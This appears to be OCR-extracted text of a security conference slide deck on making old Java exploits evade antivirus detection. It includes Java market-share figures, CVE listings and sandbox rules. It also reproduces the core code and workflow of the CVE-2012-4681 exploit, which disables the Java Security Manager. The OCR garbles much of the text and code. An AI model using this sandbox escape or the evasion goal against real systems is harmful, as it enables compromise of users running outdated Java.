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We talk about

Java
_|_

Old Java Exploits



Why Java?

3 Billion Devices Run Java
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Why Old! Exploits? (1/2)

From WebSense [ 1] 4imeetaldmetry about which  versions of Java are

actively being used across tens of millions of endpoints . . 6
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Why Old: Exploits?’ (2/2)

From Kaspersky [2]
Top 10 versions of Java, August 2013

This pie chart was compiled using data from 26.82 million individual users of Kaspersky Security Network reporting the use of any version of Java
on their personal computers. Source (here and below): Kaspersky Security Netwoark.
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Compared to the same period in 2011-2012, the number of
attacks in 2012-2013 increased 33.3%.
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Welcome to Java World

YOu COULD GET LOST FOR DAYS

motifake.com
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Java World

Updated A Impossible to give an exact estimate
30% A Average based on publicly available info

A Without using any 0 -day vulnerabilities an
attacker can target ~70% of the Java users..

There are 194 matching records. Displaying matches 121 through 140.

Outdated [P "

CVE-2012-5089

ISurmmary: Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Upd.
availability, related to IMX.

Published: 10/16/2012

CVSS Severity: 7.6 (HIGH)

Well thats not
a gOOd Slgn. ISummary: Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Upd.

Published: 10/16/2012
CVSS Severity: 10.0 (HIGH)

CVE-2012-5087

ISummary: Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Upd.
Published: 10/16/2012

B ‘\ I) CVSS Severity: 10.0 (HIGH)
CVE-2012-5086
I ISummary: Unspecified vulnerability in the Java Runtime Environment {JRE) component in Oracle Java SE 7 Upd

related to Beans.
Published: 10/16/2012

CVSS Severity: 10.0 (HIGH)
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CAUTION

PROTECTION
REQUIRED

¢
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Java 'Users

.. But if you are using an outdated
version of the JRE, you may feel safe
because you are using pro -active

/ pro -* /| detectors to spot whenever
an old vulnerabillity i1s used against
your systems..
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Our Goal

A To be able to bypass detections of these detectors
on exploits for old vulnerabillities

Attacker:r

5“ n"l"[lll
i

Defender:r
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The Defenders

A We randomly selected a number of different

defensive solutions, including:
Microsoft Security Essential / Defender
AVG Internet Security 2014

FSecure Antivirus

TrendMicro Titanium Max Security
Symantec Norton 360

And others..

©O O O 0O O O

A We had to pick a subset, because for obvious
reasons we didnodot want to
using new techniques on VirusTotal, etc .
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The Attackers

A An old vulnerability (CVE -2012-4681) and an old exploit
to harden (original exploit [3] by @duck )

Class sun_awt_SunToolkit = FindClass( I

Expression expr = new Expression{sun_awt_S5SunTeoolkit, , new Object[] { Statement.
expr.execute();
Field acc_Field = ({(Field) expr.getWalue()}):

Permissions allPerms = new Permissions():
allPerms.add{new AllPermission(});
AccessControlContext allPermAcc = new AccessControlContext{new ProtectionDomain[] {
new ProtectionDomain({new CodeSource{new URL( Y., new Certificate[2]), allPerms)});

S5tatement disableSecurityManager = new S5tatement(java.lang.5ystem. ; , new Object[1]);

acc_Field.set(disableSecurityManager, allPermAcc);

disableSecurityManager.execute();

A Via Applet

o AJava Applet isan application writtenin Java
o Embedded on a web page
o Executed within a Java Virtual Machine (JVM)
A in a process separate from the web browser itself
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Applets

Sandbox Applets

The security manager is a class that allows applications to implement

a security policy . It allows an application to determine, é what the
operation is and whether it is being attempted In a security context
that allows the operation to be performed.

Sandbox applets cannot perform the following operations:

They cannot access client resources such as the local filesystem, executable files, system clipboard, and printers.

They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).
Thev cannot load native libraries.

They cannot change the SecuritvManager |
¢ [hev cannot create a ClassLoader.

* They cannot read certain system properties. See Svstem Properties for a list of forbidden system properties.

Privileged applets

Privileged applets do not have the security restrictions that are imposed on sandbox applets and can run outside the security sandbox.
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Workflow

A The workflow is something like:

o Getaccessto sun.awt.SunToolkit
A Supposed to be a restricted package

o Call methods indirectly to trick the JVM Verifier

Other steps...

o Get access to a private field of Statement
A Via SunToolkit.GetField ()

o Defineanew access control context
A All permissions

o Createa Statement to disable the Security Manager
0 Use the Field to change the permission of the Statement

o Disable the Security Manager
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Detection Rate

A We used the basic version of the exploit

Microsoft Security AVG Internet TrendMicro Symantec Norton F-Secure Antivirus
Essential / Defender Security 2014 Titanium Max 360
Security

® ReVuln Ltd. @15



